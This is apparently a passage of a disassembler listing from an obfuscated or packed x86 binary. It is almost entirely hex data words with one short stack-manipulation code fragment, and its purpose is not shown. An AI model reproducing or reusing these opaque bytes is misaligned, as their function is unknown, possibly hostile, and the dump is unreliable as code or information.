		dd 0F658B83Bh, 461C4400h, 0CBEB53ACh, 9BAB050Dh, 81856DCBh
		dd 8172142Bh, 50DCB3Dh,	0F0B5290Fh, 0D89438CBh,	55238E8h
		dd 0E9AFDB3Eh, 29B48003h, 4404D92Bh, 95FBh, 41A27900h
		dd 0DBF37913h, 0F3A1BD4Eh, 0DB9C780Dh, 51EB2D0Bh, 0DB050E6h
		dd 60201005h, 63D5839Dh, 48CE94F6h, 0B1A7EDC9h,	0A638BC26h
		dd 52D31B41h, 57A57C70h, 6EF527FCh, 0CC51F1FFh,	805DA5F3h
		dd 9A07F1A7h, 44FA45BDh, 4050D8Eh, 0FE02F43Ch, 580F129Ah
		dd 0FFAFDAAEh, 64h, 0DB17E505h,	0CC9FAEEAh, 3C19E4A4h
		dd 0D534EE68h, 0FAAAACF8h, 0ADFBD72Ah, 340809F7h, 0D1B87EF9h
		dd 0C8F8050Dh, 0E1014E46h, 4AA0C721h, 6BAF8862h, 0D943688h
		dd 64E7605h, 17E504FEh,	9C02F68Fh, 0A17B7DFh, 7DFE782Eh
		dd 50D0DBCh, 42C52F4Bh,	0AFDB3105h, 0B8Ch, 65D66800h, 50D71D1h
		dd 7BE1A191h, 221442A2h, 693F19F0h, 184EA4B9h, 8468701Eh
		dd 0B4DC8AEAh, 7127031Eh, 351FCF87h, 73CC86DFh,	0F34F0DEh
		dd 51C0367Eh, 49C32B71h, 0F7A412E3h, 0AE7E66F1h, 2B2D7353h
		dd 0AAF0CB0h, 98CC2903h, 7F21039Eh, 2488E2F9h, 8A62789Fh
		dd 0A4CC92F0h, 0A69149A9h, 30AAF10h, 3E386050h,	0EEC843A3h
		dd 0C223BEB8h, 742E569Eh, 0C61A4086h, 8C4EB0E6h, 3137D7B2h
		dd 26B83CA6h, 0E8729AC0h, 0B5E19CABh, 1A872h, 7F95F600h
		dd 6B9E6C26h, 12712EABh, 738ADC08h, 8B3BE88Dh, 713601DBh
		dd 0B70F34EEh, 42D7149h, 2AFA9249h, 9888EB6h, 50A96329h
		dd 0C99FFA71h, 59DF074Fh, 0F8157D2Dh, 0D742B49Ah, 86383BFFh
		dd 0C6030A3Ah, 0D740B6FEh, 3B162983h, 0D98D8BDDh, 88DE3409h
		dd 873F38D2h, 0C7030A3Ah, 5D272FFFh, 0B5E25BF6h, 61D526F8h
		dd 21030A2Eh, 72EE7111h, 6A000000h, 0EA2E04E5h,	0DCBB509h
		dd 85CDF505h, 1933D393h, 6F1ABC8h, 50DCB40h, 1B4DAB86h
		dd 0C5B9691Dh, 0EB8D27FDh, 0DCBB608h, 4DCEF605h, 50DCBE9h
		dd 6FC999A9h, 0DCB4AECh, 879A3C05h, 9879FFA9h, 2363D5BBh
		dd 0C52F2BFBh, 0FA90C702h, 0DCB3579h, 37EDD505h, 0F8A8FEDAh
		dd 97603A90h, 50DCB2Fh,	0CB48EE49h, 3808050Dh, 0ADAC7C44h
		dd 0C5h, 2E04E5D7h, 64E1BDBEh, 8BB39A9Ch, 841371DBh, 6FB5F9DCh
		dd 12C8F0C2h, 8771273Fh, 237152CFh, 0BD17135h, 34BE8328h
		dd 7913230Fh, 396F4AA7h, 0AD1843Ah, 2CFCC403h, 0F4774FCAh
		dd 1C48CE98h, 3B168CD4h, 47DA8ADEh, 0E53F396Fh,	0AD7D2B04h
		dd 0AD2EF4Eh, 0FAF2C803h, 0AF43D927h, 0E34B50CAh, 92F8DE23h
		dd 0F1A2A04Ah, 0BFE5C65Bh, 0C8EA55EFh, 5E0938F0h, 0CE03BB84h
		dd 73430504h, 11072FD3h, 6CD22DC7h, 2C0504CEh, 99F94404h
		dd 0D95F0566h, 254B0ADh, 2A0E5CDAh, 0B6926FC2h,	0CE3D8172h
		dd 357D0504h, 91F75D0Dh, 0D2740EC4h, 4CEDD61h, 0F5959D05h
		dd 36BF5C76h, 0BCC4EC0Fh, 0AD280BE6h, 7C70F55h,	267F955Dh
		dd 81129E6Ch, 0E3F748Bh, 0B0F46228h, 0EFF08688h, 1F55E85h
		dd 9AB8BB41h, 2A0F3F0Bh, 8DE9401Ah, 0F72107C7h,	355CE25Dh
		dd 647D0303h, 0F28EC630h, 273F02C2h, 5EB36971h,	61251379h
		dd 10465CA1h, 74EEF47Ah, 0CA2030A3h, 0AE7EA6ECh, 5845D748h
		dd 1A7CEC75h, 0B49AF892h, 7F21031Eh, 0F51DCDF9h, 0BE543A18h
		dd 4DF142E4h, 0D69D2A2h, 0A2803625h, 0F0C069D2h, 6A4BD650h
		dd 0E65195F3h, 69D2A250h, 0B0F82010h, 936E2846h, 3074E2B6h
		dd 0EE807490h, 0A7BAC288h, 7E1F194Fh, 3, 0A2FF79FAh, 0BE1B1D4Bh
		dd 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh
		dd 0E8B8DD3h, 63FE782Eh, 32D95F01h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 56240489h, 0C681E689h, 4,	4EE81h,	34870000h
		dd 1C895C24h, 11E16824h, 14890000h, 4F716824h, 1C8B060Eh
		dd 4C48324h, 8904EC83h,	4832424h, 515A0424h, 8B9h, 2C18100h
		dd 14E326Dh, 2E981D1h, 894E326Dh, 34FF5919h, 0C4835A24h
		dd 241C8B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0F92831E9h
		dd 87F8CBFFh, 0EBD625D6h, 274FF94Fh, 54CBB86Ah,	0C503060Eh
		dd 0A620E0FFh, 2EB7213Fh, 2FC5CFBh
		dd 1FB215E9h, 0AEA142EDh, 0C6BA5707h, 0B69170B3h, 0F8B449EEh
		dd 35E05816h, 459C1FE1h, 0A32E7DC2h, 4F4C45FEh,	29F0AC5h
		dd 0A513693Fh, 0D0424C24h, 0D56A1C29h, 43376ABh, 59AB3976h
		dd 12E8605Dh, 0A5000000h, 68488ADDh, 1EE4BCA2h,	25B07523h
		dd 0C098ABC0h, 0C0BA66E4h, 81F5599Eh, 5E46C1h, 0B1D78000h
		dd 177468h, 2FD28000h, 0F3816658h, 31FF0DF0h, 5FD5F780h
		dd 58A0Fh, 15BB0000h, 817EF8D7h, 6B6790EFh, 81D38B15h
		dd 771CF5C7h, 4AE3812Bh, 813FADBEh, 6108F0F7h, 5DF38034h
		dd 8D0F3989h, 2, 0E98349B2h, 0EE816604h, 0F487091h, 0FFFFB985h
		dd 59BA66FFh, 9F8D8DD3h, 9060E56h, 709A1B5h, 418D8906h
		dd 8006071Bh, 85C78FF4h, 6070605h, 6A54h, 2FD59589h, 85C70607h
		dd 6070069h, 0
		dd 98A0Fh, 66600000h, 0BC5DEE81h, 0FF61E4B6h, 72C11B5h
		dd 0C1B58B06h, 0FF06071Dh, 701E195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 54A250D9h
		dd 5609131Ch, 0FF006A90h, 7320195h, 0EBC08B06h,	826ED209h
		dd 0E571285Eh, 4EBA501h, 2ABF9A55h, 4CFE9h, 55331A00h
		dd 0AEF0D00Dh, 0FBAD8B46h, 33197E93h, 8FD5362Bh, 79CD667h
		dd 0FB167E2Ah, 0ADA0C898h, 66FB0351h, 9D325A00h, 9DC678FBh
		dd 1E860303h, 0F043E5A4h, 50DCB4Eh, 0AE42166Fh,	0E5AB8B86h
		dd 94FAD825h, 8EDA37A2h, 0C58BEB66h, 0BAE0C653h, 91C7DDBCh
		dd 0F61A75FBh, 7578EED3h, 0E8EA53D5h, 0F7CC2D04h, 61CE1A1h
		dd 0F9D50850h, 0AC8E43ABh, 82E170E6h, 0CE2504DEh, 0D3972F08h
		dd 0EFD7050Dh, 55F5B1A7h, 3E6446D3h, 177D5938h,	0C82CB621h
		dd 468ED436h, 32CC2038h, 2D7B57D0h, 0AA952FE5h,	50DD314h
		dd 54BC6C54h, 5F359B9h,	0DD3318Ah, 38BCC605h, 0DA8372D1h
		dd 6639AFh, 0A23F0000h,	0A7181E44h, 50DCB1Dh, 92094EEh
		dd 4366DE23h, 56F6DD59h, 0DB4ED7BCh, 15EAFh, 0A29A0000h
		dd 0BB261046h, 9001F759h, 0C26BEDB3h, 0E35BA47Eh, 0A3050DCBh
		dd 0E3552A55h, 0F139510Ah, 0B252041Ch, 76CB5E56h, 809D4D13h
		dd 0C524FEA0h, 9BDBBE9h, 0EA6C3A14h, 6FE2EABAh,	0DE60D317h
		dd 9E050D45h, 0AC066E96h, 0E4C641A2h, 6EDC76BEh, 4704757Dh
		dd 4076F8CFh, 0A437351Ah, 43DE5808h, 5E393F61h,	0FDDEB004h
		dd 0B4924F97h, 8FE968EEh, 0B7AB5FD9h, 748DDA3Dh, 7E34AFDAh
		dd 30000000h, 3D541A2h,	0D95DDE1Dh, 99050DD7h, 512EA7A9h
		dd 0B95BDD05h, 721244A0h, 51C791EFh, 0B9BFE1C0h, 0A395FBD8h
		dd 8F34B81Ah, 3ED024BEh, 0F26F77DDh, 8355C391h,	140248AEh
		dd 83CBEE50h, 52000D6Eh, 256AFB2h, 4E8EC14h, 0DB2F461Dh
		dd 42EDAFh, 0E56B0000h,	3EDA6B17h, 0C99952A6h, 28B1B74h
		dd 704D97C6h, 0FD5CDA02h, 2E45B3E1h, 0F049E0D4h, 1B4BCD93h
		dd 1A95F64Bh, 0DC246C3Ah, 1046A266h, 0CB14A526h, 97E3050Dh
		dd 6B5D3A1Dh, 124AFDAh,	20000000h, 7A2C04E5h, 518C8FCh
		dd 1EFB7D2Bh, 86E45238h, 44A03AB2h, 72BAEEC7h, 0D182C06Ah
		dd 0F093383Bh, 3330F34h, 0F8AE8415h, 3F657D90h,	0D3F24639h
		dd 0D52D030Ah, 61370FDFh, 7EEEC419h, 6F4701ADh,	89773F39h
		dd 0C20AB869h, 0A7EDC554h, 49C220B1h, 7AFC2468h, 62D4849Fh
		dd 0B0F5FFDBh, 25B53F5Bh, 0D20D41CDh, 1E7387F0h, 0F57B40C8h
		dd 938EB9C5h, 0EDA7EFB1h, 0F365330Ch, 11FB13B3h, 0B5E22332h
		dd 0C0435DBCh, 8177BFE1h, 153A05C5h, 3E000001h,	6C267F95h
		dd 34F4DA93h, 0C0A3A0Fh, 87EFB58Dh, 30266C4Ah, 1D1B41A1h
		dd 7DD4D8BAh, 0DEE658DBh, 9EA6030Ah, 4D1373CEh,	0C5ABA97h
		dd 428A5A0Ah, 0E1809BF8h, 5A62B5h, 95E60000h, 0CB6D277Ch
		dd 0CB70C631h, 2516050Dh, 50DCB91h, 250DE1D1h, 9E98CE28h
		dd 713536D6h, 91050DCBh, 8234B7A1h, 0F4050DCBh,	0D83108ECh
		dd 0E5A197F9h, 0BDFAEF25h, 0CB5214E7h, 82B2050Dh, 5BDE62C8h
		dd 0D7B6647h, 8D24355Dh, 7C000000h, 6BD5839Dh, 0D29218FFh
		dd 17CD9D18h, 6C267F95h, 34963E93h, 0FC969E0Fh,	0E91AB0Eh
		dd 8D82B7Bh, 0D53B32Eh,	440A68E5h, 0E0E259D2h, 0EDC5030Ah
		dd 491F7707h, 13856B21h, 7CABFA19h, 3452F8A8h, 0A34AB56Fh
		dd 1F093832h, 9F72117h,	8D5DA4B8h, 0B16B6ACh, 95F3652Bh
		dd 94FADE33h, 751C90F4h, 0EA8C461Fh, 0D85FE750h, 171F0504h
		dd 5571C029h, 36D6915Dh, 36CAD635h, 49AA4C0Fh, 30AE5F5h
		dd 21DD8DB5h, 0FE53C911h, 6913B399h, 4EF043E5h,	0E050DCBh
		dd 0CBF34BB4h, 83B3050Dh, 43818B5Bh, 55A67812h,	50DCBE1h
		dd 2BF191A1h, 0F882AB91h, 0BFA5B017h, 5BFD0CEFh, 8A670F3Fh
		dd 0D22DE7ADh, 303746Ch, 9844042Ch, 0D333AEA8h,	8AE8658Dh
		dd 0A98052C4h, 0A1F7CD4Ch, 41B7FFB7h, 2DE64505h, 902E54B6h
		dd 0B507A288h, 5D60E2FAh, 8B63498Dh, 409DE5ABh,	0E94DAE62h
		dd 0A92FB275h, 7AE75199h, 50C1371Dh, 0AE2B2D73h, 0C012044Ah
		dd 0B275CF77h, 0ACA78F2Fh, 97F9BE36h, 71512983h, 0F049C32Bh
		dd 3C01C197h, 0E7867026h, 3, 0A2FF791Dh, 0BE1B1D4Bh, 9504F258h
		dd 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h
		dd 63FE782Eh, 32D95F01h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h
		dd 89562424h, 4C681E6h,	81000000h, 4EEh, 24348700h, 2434895Ch
		dd 7D2E68h, 243C8900h, 0E56B868h, 24348B06h, 4C481h, 8B540000h
		dd 0C481243Ch, 4, 3D1068h, 24348900h, 0FF08478Fh, 835F2434h
		dd 348B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dw 0BAEBh
		dd 0E5B13B8h, 0FFC50306h, 0D75C71E0h, 0D95DB12Ah, 8159F55Fh
		dd 10EB33h, 3 dup(0)
		dd 8B000000h, 1860FC0h,	0F9000000h, 3101BD83h, 75000607h
		dd 55BD8309h, 6070Ah, 53501974h, 2DB8C08Bh, 89000004h
		dd 72BAD85h, 0F29D8D06h, 0FF0609B3h, 83585BD3h,	70A55BDh
		dd 17740006h, 2DB85350h, 89000004h, 72BAD85h, 0E19D8D06h
		dd 0FF0609B0h, 89585BD3h, 701899Dh, 0E9D08B06h,	13h, 0F70187B9h
		dd 0CA14398Ch, 0E17A7E30h, 1A1279DBh, 8B5FADE2h, 0D68166C0h
		dd 8D8BBC78h, 6070BB5h,	1B59B58Bh, 3BE0607h, 83508DC4h
		dd 840F00F9h, 0C6h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 1DC35747h, 0B5338695h, 6072299h, 0E343DA81h
		dd 8B6455A7h, 2C3Dh, 3810F00h, 80000000h, 0FF0BD9DEh, 84840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0C245B6C3h, 800282EAh, 3F8BD6EAh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6AC35040h, 12D8158Eh
		dd 993C6663h, 29C03201h, 73229B5h, 0A9958B06h, 0F3060729h
		dd 55006AAAh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 7E9A55Eh, 15000000h, 0A3D8AC74h,	4935FCBDh
		dd 0BA535041h, 0F22DE4Ch, 1C4D85C6h, 68470607h,	0B51B2F65h
		dd 0BA10BA66h, 49243481h, 8969CDA7h, 730759Dh, 0CDBD8906h
		dd 0FF06072Dh, 712EDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0C5B58B77h, 8B060720h
		dd 0FE858DF7h, 6A060A7Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FF3DC352h,	19850FD0h
		dd 0E9000000h, 14h, 2C6762EDh, 0F32F99F2h, 61A7D505h, 0D5DC642Ch
		dd 0E81A00A8h, 1BDD8589h, 0F08B0607h, 1C4D85C6h, 0E8530607h
		dd 0Ah,	28FAA690h, 61A569CDh, 0D2806EC2h, 4E85A07h, 0FC000000h
		dd 8A88986Ah, 4BB250F0h, 424448Bh, 5EF18A57h, 26BA008Bh
		dd 893A5460h, 0BA042444h, 560B2C2Ch, 1B58B58h, 0FF060720h
		dd 712EDB5h, 0D6816606h, 858DA709h, 60A7CFEh, 0FFD7B70Fh
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 94875606h, 0F73EB5Ah, 1281h, 0BE95600h
		dd 5F000000h, 0D8D18FC4h, 25B61B8Eh, 8D5E5076h,	0A3E4885h
		dd 98F68106h, 896FE05Dh, 72C9185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5C58163h, 0BF37B0F7h
		dd 11E9h, 0ECCA4800h, 3E2865B9h, 5CAB744Ah, 1CF02560h
		dd 206A62EFh, 95FFFF6Ah, 6072C91h, 50414935h, 4D85C753h
		dd 1060704h, 0C7000000h, 7097D85h, 6, 958BF500h, 60717D1h
		dd 32B9BD83h, 0F000607h, 9B84h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 63A8FE90h
		dd 858BFAB4h, 60701B5h,	2CA1958Bh, 0A3640607h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DCC35343h
		dd 0BA8E8909h, 0DEFAE468h, 303D950Bh, 858B0607h, 60706FDh
		dd 8E9h, 6A645200h, 964A70C5h, 6AE08B7Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2C67C353h
		dd 232F99F2h, 72DD1B5h,	0F2B70F06h, 1F75BD83h, 0F000607h
		dd 38085h, 0E2816600h, 85C6F664h, 6071C4Dh, 0D2BF0F56h
		dd 0A008BD68h, 0D08B662Fh, 22240481h, 897A2528h, 7117D9Dh
		dd 0EDB5FF06h, 66060712h, 858DF08Bh, 60A7CFEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0E2C35747h, 3446AF8Fh
		dd 0A7B2B16Ch, 8589D0FFh, 607122Dh, 6800Fh, 958B0000h
		dd 6071E25h, 0D18B5190h, 6660505Eh, 9061CF8Bh, 0D9F7BA66h
		dd 2018D8Dh, 0BE660607h, 0B6916B84h, 0BE950F9h,	1D000000h
		dd 0DD8906D3h, 0EA838A46h, 0B291DE59h, 89046A40h, 715719Dh
		dd 0C65B6806h, 34815746h, 46D65B24h, 56006A57h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B5FF91F3h
		dd 6070FCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	1CC35141h, 0B589BE15h, 607227Dh, 8D89D0FFh, 6071601h
		dd 0FCDBD8Bh, 95890607h, 6072331h, 663C7F03h, 426BCA81h
		dd 0F8C781h, 47C70000h,	2024h, 50006A60h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 60D6127Dh
		dd 32E18D89h, 0BD8B0607h, 607011Dh, 9EBD8361h, 60E5Bh
		dd 16A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0E30BAC3h, 958BFFCDh, 6071665h
		dd 5128C783h, 0F223CE81h, 0C75A7963h, 696A2E07h, 55006A64h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 447C7B5h, 617461h, 3129958Bh, 858B0607h, 60E5BA6h, 18999589h
		dd 47890607h, 0AA858B0Ch, 89060E5Bh, 6A0847h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 86DFAAC3h
		dd 0C7835103h, 52006A28h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0C767B1B3h, 6F632E07h
		dd 51006A6Eh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 5B2FB1EBh, 0C7BF4CCEh, 69660447h, 6A0067h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0FB4977C3h, 8BA79412h, 0E5BA285h, 0E8606006h, 10h, 5C3058ECh
		dd 86EDCB37h, 0ED4646A1h, 0AFC76813h, 800F59h, 61000000h
		dd 92C88166h, 4789610Dh, 9E858B0Ch, 6A060E5Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0D5AAC353h, 0BA326D16h, 89BDE184h, 95890847h, 6070189h
		dd 0A9850158h, 8D06071Dh, 71A098Dh, 68D0F06h, 8B000000h
		dd 7008595h, 8B0F9106h,	0
		dd 12E850h, 76950000h, 0A1AA4040h, 5CDA2EC2h, 0B6EF30C1h
		dd 0D89BA281h, 78FCBF60h, 0D18B3B8Dh, 33915E61h, 730E5B5h
		dd 1B5FF06h, 8B060702h,	70241B5h, 3C886806h, 0F58A96E8h
		dd 78240481h, 6A6917D3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 4E16C355h, 9E318BB2h
		dd 13E934h, 0E9A90000h,	45F1068Bh, 0AF2D24C3h, 4EFE3E74h
		dd 0F40132CAh, 6D85298Bh, 0FF060717h, 70FCDB5h,	3D958B06h
		dd 8B060716h, 72145B5h,	60D0FF06h, 0C9B4F5B4h, 0B861h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 3F50ECC3h, 42BE666Ah, 0FC00BF7h, 4184h, 11952300h
		dd 0FF060715h, 71691B5h, 0F9952B06h, 0FF060721h, 701E195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0F699CB73h, 6C7ECAA2h, 0A091F681h, 0C08B6EF2h
		dd 1C41B58Bh, 0BD830607h, 6073101h, 83097500h, 70A55BDh
		dd 19740006h, 0C08B5350h, 42DB8h, 7D858900h, 8D060721h
		dd 9B4599Dh, 5BD3FF06h,	55BD8358h, 6070Ah, 53501774h, 42DB8h
		dd 7D858900h, 8D060721h, 9B0FA9Dh, 5BD3FF06h, 1D958B58h
		dd 6A060701h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 5FA8C356h, 68E1A926h, 8926B8F5h
		dd 71CA58Dh, 81C08B06h,	8D5A6BF2h, 0E8C08B62h, 12h, 0C3F8C7ABh
		dd 8666DDE9h, 4038B94h,	0A9B7C31Eh, 95295500h, 6072DA1h
		dd 0CFB70F5Eh, 5A86C681h, 0CA8B0000h, 167968h, 0F59D8B00h
		dd 5F060716h, 3800Fh, 8B660000h, 0E936FFDAh, 11h, 566057E7h
		dd 93286029h, 5C26A84Bh, 18D7C1EDh, 0B589581Ah,	6071865h
		dd 0DCF4F081h, 8D035E0Ch, 6071CD9h, 0FA6FC081h,	8D0F2303h
		dd 2, 0E881D78Bh, 21B1DBFDh, 11CB8166h,	0F068959h, 785h
		dd 1810F00h, 0F9000000h, 0B703EE83h, 0B9664E56h, 0EF811809h
		dd 1, 0FF97850Fh, 0BA66FFFFh, 8D8D1882h, 60E6554h, 0FDBD8950h
		dd 5E060731h, 1B418D89h, 0BD890607h, 60705DDh, 60585C7h
		dd 61B40607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0D8E416C3h, 0F897D0ABh, 0BD8B07B3h
		dd 6073159h, 6985C7h, 607h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0AA7FE1C3h
		dd 8D895946h, 60715D1h,	2C11B5FFh, 58500607h, 1E195FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 556453C3h, 0B58B4D5Fh, 6072399h, 0B319D89h
		dd 6A0607h, 320195FFh, 0C08B0607h, 0C0F809EBh, 35633784h
		dd 8B910797h, 0C0h, 18Bh dup(0)
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 58E8B570h, 6A9DF93Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 997BC356h
		dd 38F98E46h, 0E961F8E8h, 0Bh, 4CC1B6Ch, 0F642E7D1h, 5DB100E5h
		dd 9E9h, 0C26DE600h, 0E2B09C02h, 44012A1Bh, 860F0824h
		dd 0Ch,	6800Fh,	810F0000h, 0
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 14810FA2h, 0F000000h, 0E8Ah, 9E900h, 0CA860000h
		dd 0CF8E44FAh, 9D98E090h, 0EE9C3h, 0BE700000h, 2F65C611h
		dd 0BB2E650Fh, 0A4E1CD10h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D4C35343h, 0F30223DDh, 0FC30E0Eh, 782h
		dd 18A0F00h, 0F8000000h, 0BF0FC08Bh, 0E6F080FAh, 9F1DA0B9h
		dd 0E4D9811Ch, 5700BC01h, 2C73D781h, 0E95F1F56h, 5, 609F2328h
		dd 0DB81660Eh, 0A9BAEE5Ah, 0F43F543h, 80h, 3880F00h, 0F000000h
		dd 8B66CABFh, 0E9F98BCBh, 6, 8C8CFC99h,	0F8602EBCh, 4850Fh
		dd 0BA660000h, 0E861C5DFh, 0Fh,	6D06EF80h, 820F36E2h, 0DD689975h
		dd 66D0BDEFh, 581B72BEh, 2890Fh, 6B00000h, 2BB2E881h, 6E826CEh
		dd 6E000000h, 2840CE07h, 0EA8166F3h, 0F5984BCh,	680h, 6C78100h
		dd 563DEBBBh, 7016BB66h, 3FBB665Ah, 0FF18B15h, 128Bh, 0BE95600h
		dd 0EC000000h, 38971045h, 2C140B66h, 0F5BBFA9h,	384h, 5BED8000h
		dd 6E9F9h, 0BBFD0000h, 0AC4D5419h, 0BF66E28Ah, 860FC6B0h
		dd 0
		dd 7E9h, 839FFC00h, 356D2B29h, 82F06DB9h, 0E9CFB54Dh, 0Ah
		dd 582EF027h, 0F694E312h, 0F8609A77h, 0B96661F5h, 0BA664A9Dh
		dd 0BE66CC3Ch, 8A0F7BEEh, 6, 3AFFDB81h,	0BA600574h, 6DFCAA62h
		dd 0AE8h, 62178100h, 28DA1239h,	8002DDADh, 615EADC6h, 10E9h
		dd 722CE700h, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah, 0C8B70F49h
		dd 0CEF5E6B8h, 6810F4Eh, 81000000h, 513DB4EAh, 60DF8B32h
		dd 870Fh, 0E8610000h, 12h, 44B17EA9h, 445DFE3Fh, 0D0718D5Bh
		dd 0D9BBDh, 0B9667FC9h,	0BB5E044Dh, 7902B9D7h, 0AE960h
		dd 4EE20000h, 1881CC86h, 11D0D594h, 1840Fh, 61F50000h
		dd 8E9h, 1E924C00h, 42BA2801h, 80B4B0CBh, 13E9EEF0h, 0ED000000h
		dd 0CED2D7ABh, 4A71A765h, 0F0C809DDh, 171E7039h, 2CBB6819h
		dd 0E805E790h, 12h, 1323FC56h, 6078D046h, 0D9B63761h, 53AB890Ch
		dd 0E95EA247h, 14h, 4F29FF1Fh, 12A63857h, 0F30C3B51h, 61B2BC50h
		dd 0E2065AD1h, 0B1C9BF0Fh, 8CBF6665h, 0C3BF0F18h, 0B5CDB81h
		dd 0FCB732A8h, 5850F60h, 66000000h, 0A14DD081h,	6661F78Ah
		dd 81AA1ABFh, 0E8570BD3h, 0EFB86606h, 0C28056A0h, 8D0F5997h
		dd 5, 96D18166h, 0DBD880A0h, 28E0Fh, 0FE8B0000h, 60A2BF66h
		dd 8166D7B2h, 66D359C8h, 810FD78Bh, 3, 66DFB70Fh, 8A6DF681h
		dd 239CEBB9h, 0F181666Ah, 6651AB37h, 2413D881h,	0DE95Bh
		dd 44450000h, 59268F03h, 36A2EAE2h, 66C6C8CFh, 8B66C88Bh
		dd 820F52C1h, 15h, 10E9h, 80E8500h, 3B874395h, 23921B2Ah
		dd 0CF4608C9h, 0E4805BD8h, 47E280B9h, 2F04B866h, 0E860Fh
		dd 6E80000h, 3B000000h,	78AAB1ACh, 5F26B29Ah, 5FC28B53h
		dd 81F38166h, 0E9F5F917h, 0Ch, 0F48AF105h, 297F76BAh, 528905CFh
		dd 6E9h, 0A65C7100h, 0F9282B0Eh, 12E8h,	34DB9600h, 0BD0A79A3h
		dd 5A3C799Dh, 0AE7FC503h, 0E91C07DCh, 0Eh, 0ECADF17Eh
		dd 6C88C62Ah, 26FFB6A5h, 66594449h, 29F3D781h, 233BD381h
		dd 0E9606F9Dh, 5, 6C841723h, 6199B2E1h,	0FE856FCh, 0E0000000h
		dd 0FC9EE942h, 0E83084ABh, 0E983DF0Dh, 0BE90D9Dh, 52000000h
		dd 6425709h, 0F13C7E1Ah, 5A5EB623h, 128A0F57h, 0E8000000h
		dd 0Ch,	0F9C06354h, 5A69986Ah, 73BF51AEh, 13E95A58h, 75000000h
		dd 390474CDh, 0AE246E5Ch, 72BC90BBh, 30A108DAh,	66FC8D8Fh
		dd 0FC413B9h, 12E8D7BFh, 37000000h, 0C4A2A052h,	0D9B2E4A0h
		dd 0E9F88D40h, 0F51D38B4h, 0D3BF0F5Bh, 0EE95Eh,	65490000h
		dd 503811F8h, 0A13CCE0Bh, 859AEE1Ch, 12E9h, 0DABFA200h
		dd 5D33C453h, 0BC365167h, 0B02807B8h, 0E840023Eh, 11h
		dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 84AFBDBCh, 0A2BE66C4h
		dd 860F5E71h, 1, 80D181FCh, 8B41B531h, 0EE8C1h,	8B6D0000h
		dd 839985Ah, 35D94156h,	96E1CF45h, 9E9h, 0F3BD3800h, 0C7956493h
		dd 8B5FDC32h, 14E9CAh, 75820000h, 0EFDD6899h, 2FC9D0BDh
		dd 325F5423h, 15A830C4h, 0BE66B4D2h, 0B866788Fh, 0F606487h
		dd 28Fh, 53F3B500h, 0EE9h, 84F5BC00h, 0AFEC00CAh, 179E521Dh
		dd 5EBE5A99h, 8E861h, 3C030000h, 8AC8F384h, 0BE5E1175h
		dd 4F8D6DCAh, 5830Fh, 0CEBE0000h, 0E9078389h, 6, 0A113A7Fh
